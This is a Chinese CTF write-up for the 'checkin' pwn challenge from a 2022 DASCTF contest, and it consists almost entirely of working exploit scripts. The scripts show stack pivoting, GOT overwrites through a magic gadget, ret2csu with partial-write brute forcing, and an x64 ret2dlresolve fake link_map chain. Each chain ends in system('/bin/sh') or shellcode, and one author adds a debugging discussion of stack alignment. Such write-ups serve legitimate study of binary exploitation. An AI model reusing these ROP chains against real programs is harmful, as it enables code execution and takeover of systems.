只能溢出0x10个字节,刚好能够覆盖返回地址,所以得利用栈迁移来做
第一种:利用magic_gadget修改got表中setvbuf的值
在64位程序的_do_global_dtors_aux中有这么一个gadget十分有用,可以直接改栈数据magic_gadget:add dword ptr [rbp - 0x3d], ebx ; nop ; ret
利用read函数溢出,迁移栈到bss段上,然后通过一些小gadget调整寄存器的值来达到目的
出处:2022DASCTFXSU三月春季挑战赛-pwn-wp - LynneHuan - 博客园
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
cli_script()
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
if gift.remote:
libc = ELF('./libc.so.6')
gift['libc'] = libc
pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00
def exp_magic():
pop_rbx_rbp_r12131415 = 0x40124a
# 栈迁移到bss段
payload = flat({
0xa0: [
bss_addr+0xa0,
read_again
]
})
s(payload)
libc_puts = libc.sym.puts
libc_setvbuf = libc.sym.setvbuf
offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)
# 修改setvbuf为puts
payload = flat(
{
0: [
pop_rbx_rbp_r12131415,
offset,
elf.got.setvbuf+0x3d,
0, 0, 0, 0,
magic,
ret,
pop_rdi_ret,
elf.got.read,
elf.plt.setvbuf,
pop_rbp_ret,
bss_addr+0xa0,
read_again
],
0xa0: [
bss_addr - 8,
leave_ret
]
}
)
s(payload)
read_addr = u64_ex(rl()[:-1])
libc_base = read_addr - libc.sym.read
log_libc_base_addr(libc_base)
libc.address = libc_base
# 读取输入,执行system('/bin/sh')
payload = flat({
0:[
pop_rdi_ret,
libc.search(b"/bin/sh").__next__(),
libc.sym.system
],
0x70: leave_ret,
0xa0: [
bss_addr - 8,
leave_ret
]
})
s(payload)
sleep(1)
sl("cat /flag")
m = rls("flag")
if b"flag" in m:
log_ex(f"Get flag: {m}")
ia()
def exp_partial_write():
bss_addr = elf.got.setvbuf
# 栈迁移
layout = {
0xa0: [
bss_addr+0xa0,
read_again
]
}
s(flat(layout))
# rop1
layout = {
0xa0: [
bss_addr,
leave_ret
],
0: [
bss_addr+0x68,
pop_rsi_r15_ret,
elf.got.read-8,
0,
elf.plt.read,
0x40124a, # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
0, # rbx
2, # rbp
bss_addr & ~0xfff,
0x1000,
7,
elf.got.read,
0x401230, # csu up
ShellcodeMall.amd64.execve_bin_sh
]
}
s(flat(layout))
s(b"a"*8 + p16(0x8000))
sleep(1)
sl("cat /flag")
m = rls("flag")
if b"flag" in m:
log_ex(f"Get flag: {m}")
ia()
if __name__ == "__main__":
# for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
# try:
# exp_partial_write()
# except:
# pass
exp_magic()
这个脚本用的是pwncli写的,也是学习了一下新工具,这脚本好像不受glibc版本限制,glibc版本是2.31,用ida打开给的so文件就能看见,Ubuntu18也能成功获得shell,改成pwntools调试了一下第一个函数(ubuntu20)
from pwn import *
p = process('./checkin')
libc = ELF('./libc.so.6')
elf = ELF('./checkin')
context(arch='amd64', log_level='debug')
def exp_magic(p):
global libc
global elf
pop_rbx_rbp_r12131415 = 0x40124a
# bss
payload = b'a'*0xa0+p64(0x404080 + 0xa00 + 0xa0)+p64(0x4011bf)
p.send(payload)
libc_puts = libc.sym['puts']
libc_setvbuf = libc.sym['setvbuf']
print(libc_puts)
offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)
print(hex(offset))
# setvbuf->puts
payload = flat([
pop_rbx_rbp_r12131415,
offset,
elf.got['setvbuf']+0x3d,
0,0,0,0,
0x40113c, #magic
#0x40101a, #ret 调整栈帧,这里用了,后面read返回地址需要+8
0x401253, #pop_rdi_ret
elf.got['read'],
elf.plt['setvbuf'],
p64(0x40113d), #pop_rbp_ret
p64(0x404080 + 0xa00 +0xa0), # +0xa0原因:调用read函数前的两句汇编
#lea rax, [rbp - 0xa0]
#mov rsi, rax
p64(0x4011bf)
])
# gdb.attach(p)
payload = payload.ljust(0xa0,b'\x00')
payload += p64(0x404080 + 0xa00 - 8) + p64(0x4011e2) #leave_ret
p.send(payload)
sleep(1)
read_addr = u64(p.recvline()[:-1].ljust(8,b"\x00"))
print(read_addr)
libc_base = read_addr - libc.sym['read']
log.info(hex(libc_base))
libc.address = libc_base
# gdb.attach(p)
# system('/bin/sh')
payload = flat([
0x401253, #pop_rdi_ret
libc.address+0x1b45bd,
libc.sym['system']
])
payload = payload.ljust(0x68,b'\x00') #后面是read函数的返回地址
payload += p64(0x4011dd) + p64(0) + p64(0) + p64(0)+ p64(0)+ p64(0)+ p64(0) + p64(0x404080 + 0xa00 - 8) + p64(0x4011e2)
p.send(payload)
sleep(1)
p.interactive()
if __name__ == "__main__":
exp_magic(p)
第二种:利用ret2csu修改got表地址,通过栈迁移控制程序流
(1)修改got表中read地址为syscall,通过栈迁移控制程序流执行execve("/bin/sh",0,0)
由于read函数和syscall函数后三位全不一样,所以要修改两字节,程序加载时后三位不变,所以倒数第四位每次运行只有1/16的概率对
出处:2022DASCTF X SU 三月春季挑战赛 Pwn题WP - Ch4rc0al 的博客
from pwn import *
context(arch='amd64', log_level='debug')
flag = 0
ps = './checkin'
libc = ELF("./libc.so.6")
elf = ELF(ps)
def getConn():
global flag
if(flag == 1):
return remote(host, port)
return process(ps)
def debug(conn, arg=None):
global flag
if(flag == 1):
return
gdb.attach(conn, arg)
pause()
def csu(call, rdi, rsi, rdx):
csu_end = 0x40124A
csu_front = 0x401230
payload = p64(csu_end)+p64(0)+p64(1)+p64(rdi)+p64(rsi) + \
p64(rdx)+p64(call)+p64(csu_front)+b'\x00'*0x38
return payload
leave_ret = 0x00000000004011e2
p_rsi_15 = 0x0000000000401251
p_rdi = 0x0000000000401253
addr = elf.bss()+0x500
p = getConn()
p.send(b'a'*0xa0+p64(addr+160)+p64(0x4011bf))
sleep(0.1)
log.info(hex(addr+160))
pay = csu(elf.got['read'], 0, elf.got['read'], 2) + \
p64(0x401156)
pay = pay.ljust(0xa0, b'\x00')
pay += p64(addr-8)+p64(leave_ret)
p.send(pay)
sleep(0.1)
p.send('\x00\xb0')
sleep(0.1)
addr += 0x100
p.send(b'a'*0xa0+p64(addr+160)+p64(0x4011bf))
sleep(0.1)
binsh = addr-0x100
pay = csu(elf.got['read'], 0, binsh, 8)+p64(0x401156)
p.send(pay.ljust(0xa0, b'\0')+p64(addr-8)+p64(leave_ret))
sleep(0.1)
p.send('/bin/sh\x00')
sleep(0.1)
addr += 0x100
# debug(p)
p.send(b'a'*0xa0+p64(addr+160)+p64(0x4011bf))
sleep(0.1)
pay = p64(0x40124a)+p64(0)+p64(1)+p64(0)+p64(addr+0x100)+p64(59)+p64(elf.got['read'])+p64(
0x401230)+p64(0)*3+p64(binsh)+p64(0)*2+p64(elf.got['read'])+p64(0x401230)
p.send(pay.ljust(0xa0, b'\0')+p64(addr-8)+p64(leave_ret))
sleep(0.1)
p.send('\x00'*59)
p.interactive()
(2)修改got表中setvbuf地址为puts地址来泄露libc地址,然后控制程序流执行one_gadget一把梭
这里一样的后三位都不相同,所以也得爆破半个字节
出处:奇安信攻防社区-DASCTF SU三月赛 WriteUp
from pwn import *
p = process("./checkin")
#p = remote("node4.buuoj.cn",29509)
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
gdb.attach(p)
payload = b"a"*0xa0 + p64(0x4040c0+0xa0) + p64(0x4011BF) #buf = 0x4040c0
p.send(payload)
payload = flat([ #csu
0x404140, #nouse
0x40124A, # pop 6
0,1, #rbx rbp
0x404040, # stdout r12
0,0, # r13 r14
0x404020, #r15 setvbuf_got
0x401230, # ret
0,0, #+8 rbx
0x404140, #rbp
0,0,0,0, #12 13 14 15
0x4011BF #read = put
])
payload = payload.ljust(0xa0,b"\x00") + p64(0x404020+0xa0) + p64(0x4011bf) #read
p.send(payload)
sleep(0.1)
p.send(b"\x50\xc4")
sleep(0.1)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) -0x1ed6a0
success("libc_base:"+hex(libc_base))
p.send(b"a"*0xa0 +p64(libc_base+0xe3b2e)*2 )
p.interactive()
第三种:ret2dl x64(失败)
补(2022年4月11日21:49)
from pwn import *
context.log_level="debug"
#context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
io = process("./checkin")
elf = ELF("./checkin")
bss_addr = elf.bss()
csu_front_addr = 0x401230
csu_end_addr = 0x40124A
#vuln_addr = 0x400676
leave_ret = 0x00000000004011e2
read_got = elf.got['read']
def csu(rbx, rbp, r15, r12, r13, r14):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r15d
# rsi = r14
# rdx = r13
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += '\x00' * 0x38
return payload
def ret2dlresolve_with_fakelinkmap_x64(elf, fake_linkmap_addr, known_function_ptr, offset_of_two_addr):
'''
elf: is the ELF object
fake_linkmap_addr: the address of the fake linkmap
known_function_ptr: a already known pointer of the function, e.g., elf.got['__libc_start_main']
offset_of_two_addr: target_function_addr - *(known_function_ptr), where
target_function_addr is the function you want to execute
WARNING: assert *(known_function_ptr-8) & 0x0000030000000000 != 0 as ELF64_ST_VISIBILITY(o) = o & 0x3
WARNING: be careful that fake_linkmap is 0x100 bytes length
we will do _dl_runtime_resolve(linkmap,reloc_arg) where reloc_arg=0
linkmap:
0x00: l_addr = offset_of_two_addr
fake_DT_JMPREL entry, addr = fake_linkmap_addr + 0x8
0x08: 17, tag of the JMPREL
0x10: fake_linkmap_addr + 0x18, pointer of the fake JMPREL
fake_JMPREL, addr = fake_linkmap_addr + 0x18
0x18: p_r_offset, offset pointer to the resloved addr
0x20: r_info
0x28: append
resolved addr
0x30: r_offset
fake_DT_SYMTAB, addr = fake_linkmap_addr + 0x38
0x38: 6, tag of the DT_SYMTAB
0x40: known_function_ptr-8, p_fake_symbol_table
command that you want to execute for system
0x48: /bin/sh
P_DT_STRTAB, pointer for DT_STRTAB
0x68: fake a pointer, e.g., fake_linkmap_addr
p_DT_SYMTAB, pointer for fake_DT_SYMTAB
0x70: fake_linkmap_addr + 0x38
p_DT_JMPREL, pointer for fake_DT_JMPREL
0xf8: fake_linkmap_addr + 0x8
'''
plt0 = elf.get_section_by_name('.plt').header.sh_addr
linkmap = p64(offset_of_two_addr & (2**64 - 1))
linkmap += p64(17) + p64(fake_linkmap_addr + 0x18)
# here we set p_r_offset = fake_linkmap_addr + 0x30 - two_offset
# as void *const rel_addr = (void *)(l->l_addr + reloc->r_offset) and l->l_addr = offset_of_two_addr
linkmap += p64((fake_linkmap_addr + 0x30 - offset_of_two_addr)
& (2**64 - 1)) + p64(0x7) + p64(0)
linkmap += p64(0)
linkmap += p64(6) + p64(known_function_ptr-8)
linkmap += '/bin/sh\x00' # cmd offset 0x48
linkmap = linkmap.ljust(0x68, '\x00')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, '\x00')
linkmap += p64(fake_linkmap_addr + 8)
resolve_call = p64(plt0+6) + p64(fake_linkmap_addr) + p64(0)
return (linkmap, resolve_call)
gdb.attach(io)
pause()
offset = 0xa0
libc = ELF('./libc.so.6')
csu_addr = bss_addr + 0x300 + 0xa0
payload = '\x00' * offset
payload += p64(csu_addr)
payload += p64(0x4011BF)
io.send(payload)
#io.interactive()
fake_linkmap_addr = bss_addr+0x500
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read'])
payload = csu(0,1,read_got,0,fake_linkmap_addr-0x40,len(link_map+resolve_call)+0x28)
payload += p64(0x401156)
payload = payload.ljust(0xa0,'\x00')
payload += p64(csu_addr - 0xa8)
payload += p64(leave_ret)
io.send(payload)
# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
pop_rdi = 0x401253
pop_rsi_r15 = 0x401251
payload = flat([
pop_rsi_r15,
0,
0,
pop_rdi,
fake_linkmap_addr + 0x48,
resolve_call,
link_map
])
io.send(payload)
io.send('\x00' * 0xa0 + p64(fake_linkmap_addr-0x48) +p64(leave_ret))
'''
#0x00000000004007a1: pop rsi; pop r15; ret;
rop.raw(0x00000000004007B1) # stack align 16 bytes
rop.raw(0)
rop.raw(0)
rop.raw(0x4007b3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(fake_linkmap_addr + 0x48)
rop.raw(resolve_call)
io.send(rop.chain())
'''
io.interactive()
能够成功解析到system函数,但是不能调用成功,这是错误的语句,不知道啥原因,望大佬告知
上述原因:是xmm寄存器的问题,当glibc版本大于2.27的时候,系统调用system("/bin/sh")之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
由于这里是使用plt延迟技术自己计算得到system函数地址并执行,所以没有办法通过ret进行调整栈帧,有其他办法望大佬告知。
来源:pwn system(“/bin/sh“)失败的原因_flypwn的博客-CSDN博客_system/bin/sh
解决:感谢CatF1y师傅的指导
这个我之前本地调栈帧的时候因为在flat中加ret,后面的rbp地址也要跟着动,所以rsp一直会保持平衡,在返回到resolve_call前末尾一直都是0,所以在前面赋值fake_linkmap_addr多加上一个0x8就行了,但是会报另外一个错,rsp+0x18地址不可写的问题
这个时候再调整一下fake_linkmap_addr,加上0x200使得rsp抬高就能成功利用
from pwn import *
context.log_level="debug"
#context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
io = process("./checkin")
elf = ELF("./checkin")
bss_addr = elf.bss()
csu_front_addr = 0x401230
csu_end_addr = 0x40124A
#vuln_addr = 0x400676
leave_ret = 0x00000000004011e2
read_got = elf.got['read']
def csu(rbx, rbp, r15, r12, r13, r14):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r15d
# rsi = r14
# rdx = r13
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += '\x00' * 0x38
return payload
def ret2dlresolve_with_fakelinkmap_x64(elf, fake_linkmap_addr, known_function_ptr, offset_of_two_addr):
'''
elf: is the ELF object
fake_linkmap_addr: the address of the fake linkmap
known_function_ptr: a already known pointer of the function, e.g., elf.got['__libc_start_main']
offset_of_two_addr: target_function_addr - *(known_function_ptr), where
target_function_addr is the function you want to execute
WARNING: assert *(known_function_ptr-8) & 0x0000030000000000 != 0 as ELF64_ST_VISIBILITY(o) = o & 0x3
WARNING: be careful that fake_linkmap is 0x100 bytes length
we will do _dl_runtime_resolve(linkmap,reloc_arg) where reloc_arg=0
linkmap:
0x00: l_addr = offset_of_two_addr
fake_DT_JMPREL entry, addr = fake_linkmap_addr + 0x8
0x08: 17, tag of the JMPREL
0x10: fake_linkmap_addr + 0x18, pointer of the fake JMPREL
fake_JMPREL, addr = fake_linkmap_addr + 0x18
0x18: p_r_offset, offset pointer to the resloved addr
0x20: r_info
0x28: append
resolved addr
0x30: r_offset
fake_DT_SYMTAB, addr = fake_linkmap_addr + 0x38
0x38: 6, tag of the DT_SYMTAB
0x40: known_function_ptr-8, p_fake_symbol_table
command that you want to execute for system
0x48: /bin/sh
P_DT_STRTAB, pointer for DT_STRTAB
0x68: fake a pointer, e.g., fake_linkmap_addr
p_DT_SYMTAB, pointer for fake_DT_SYMTAB
0x70: fake_linkmap_addr + 0x38
p_DT_JMPREL, pointer for fake_DT_JMPREL
0xf8: fake_linkmap_addr + 0x8
'''
plt0 = elf.get_section_by_name('.plt').header.sh_addr
linkmap = p64(offset_of_two_addr & (2**64 - 1))
linkmap += p64(17) + p64(fake_linkmap_addr + 0x18)
# here we set p_r_offset = fake_linkmap_addr + 0x30 - two_offset
# as void *const rel_addr = (void *)(l->l_addr + reloc->r_offset) and l->l_addr = offset_of_two_addr
linkmap += p64((fake_linkmap_addr + 0x30 - offset_of_two_addr)
& (2**64 - 1)) + p64(0x7) + p64(0)
linkmap += p64(0)
linkmap += p64(6) + p64(known_function_ptr-8)
linkmap += '/bin/sh\x00' # cmd offset 0x48
linkmap = linkmap.ljust(0x68, '\x00')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, '\x00')
linkmap += p64(fake_linkmap_addr + 8)
resolve_call = p64(plt0+6) + p64(fake_linkmap_addr) + p64(0)
return (linkmap, resolve_call)
gdb.attach(io)
pause()
offset = 0xa0
libc = ELF('./libc.so.6')
csu_addr = bss_addr + 0x300 + 0xa0
payload = '\x00' * offset
payload += p64(csu_addr)
payload += p64(0x4011BF)
io.send(payload)
#io.interactive()
fake_linkmap_addr = bss_addr+0x700 + 0x8
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
link_map, resolve_call = ret2dlresolve_with_fakelinkmap_x64(elf,fake_linkmap_addr, elf.got['read'],libc.sym['system']- libc.sym['read'])
payload = csu(0,1,read_got,0,fake_linkmap_addr-0x40,len(link_map+resolve_call)+0x28)
payload += p64(0x401156)
payload = payload.ljust(0xa0,'\x00')
payload += p64(csu_addr - 0xa8)
payload += p64(leave_ret)
io.send(payload)
# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
pop_rdi = 0x401253
pop_rsi_r15 = 0x401251
ret_addr = 0x40101a
payload = flat([
pop_rsi_r15,
0,
0,
pop_rdi,
fake_linkmap_addr + 0x48,
resolve_call,
link_map
])
io.send(payload)
io.send('\x00' * 0xa0 + p64(fake_linkmap_addr-0x48) +p64(leave_ret))
'''
#0x00000000004007a1: pop rsi; pop r15; ret;
rop.raw(0x00000000004007B1) # stack align 16 bytes
rop.raw(0)
rop.raw(0)
rop.raw(0x4007b3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(fake_linkmap_addr + 0x48)
rop.raw(resolve_call)
io.send(rop.chain())
'''
io.interactive()
CatF1y师傅的代码
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=process('./checkin')
#p=remote('node4.buuoj.cn',26747)
libc=ELF('./libc.so.6')
elf=ELF('./checkin')
readaddr=0x4011BF
readplt=elf.plt['read']
readgot=elf.got['read']
poprdi=0x0000000000401253
poprsi=0x0000000000401251
ret=0x4011E3
bss=0x404600
fake_link_addr=0x404700
leaveret=0x4011E2
plt0 = elf.get_section_by_name(".plt").header.sh_addr
l_addr = libc.sym['system'] - libc.sym['read']
st_value = elf.got['read']
def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
#the address of each fake pointer
fake_Elf64_Dyn_STR_addr=p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
#fake structure
fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
r_offset = fake_link_map_addr -l_addr
fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
#fake_link_map
fake_link_map =p64(l_addr&(2**64-1))#0x8
fake_link_map+=fake_Elf64_Dyn_SYM#0x18
fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
fake_link_map+=fake_Elf64_rela #0x40
fake_link_map+=b"\x00"*0x28#0x68
fake_link_map+=fake_Elf64_Dyn_STR_addr # STRTAB pointer,0x70
fake_link_map+=fake_Elf64_Dyn_SYM_addr # SYMTAB pointer,0x78
fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
return fake_link_map
fake_link_map=get_fake_link_map(fake_link_addr,l_addr,st_value)
log.info('len->'+hex(len(fake_link_map)))
gdb.attach(p)
pause()
payload=b'a'*0xa0+p64(bss)+p64(readaddr)
p.send(payload)
payload=b'a'*0xa0+p64(bss+0xa0)+p64(readaddr)
p.send(payload)
payload=b'a'*8+p64(poprdi)+p64(0)+p64(poprsi)+p64(fake_link_addr)+p64(0)+p64(readplt) #0x38
payload+=p64(poprdi)+p64(0)+p64(poprsi)+p64(fake_link_addr+0xb0)+p64(0)+p64(readplt)#Ox70
#用ret连接rip
payload+=p64(ret)+p64(poprdi)+p64(fake_link_addr+0x78)+p64(plt0+6)+p64(fake_link_addr)+p64(0)
payload=payload.ljust(0xb0,b'\x00')
p.send(payload)
p.send(fake_link_map[0:0xb0])
p.send(fake_link_map[0xb0:0x100])
p.interactive()
其他参考链接:
[原创]ROP高级用法之ret2_dl_runtime_resolve-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com